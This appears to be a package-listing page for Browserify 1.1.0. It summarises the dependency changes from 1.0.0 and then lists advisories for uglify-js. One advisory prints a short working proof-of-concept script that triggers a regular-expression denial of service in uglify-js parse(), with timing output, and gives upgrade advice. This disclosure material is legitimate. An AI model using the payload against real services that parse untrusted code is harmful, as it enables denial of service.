Browserify, a tool enabling require() statements to function within browser environments, advanced from version 1.0.0 to 1.1.0, introducing subtle yet significant modifications beneficial to developers. The core functionality remains consistent: facilitating module bundling for client-side JavaScript development, allowing developers to leverage npm packages and organize code with familiar Node.js conventions.
However, the dependency landscape shifts. Version 1.1.0 replaces dependencies like seq, file, findit, semver, source, and es5-shim with resolve and detective, suggesting a potentially streamlined approach to module resolution and dependency analysis. While coffee-script remains a consistent dependency with same version requirement, indicating continued support for CoffeeScript compilation, the removal of seq points towards a change in internal sequencing mechanisms. Developers upgrading should review their code for reliance on functionalities provided by the removed dependencies, ensuring compatibility with the updated mechanisms.
The developer dependency list remains largely unchanged including helpful tools such as jade, dnode, jsdom, connect, hashish, backbone, expresso, traverse, and jquery-browserify, confirming maintained testing and development support for common use cases. The underlying license remains the permissive MIT/X11. Version 1.1.0 released on June 21, 2011, builds upon the foundation of version 1.0.0 released earlier in the month (June 9, 2011), offering refined dependency management for JavaScript module bundling in the browser.
All the vulnerabilities related to the version 1.1.0 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.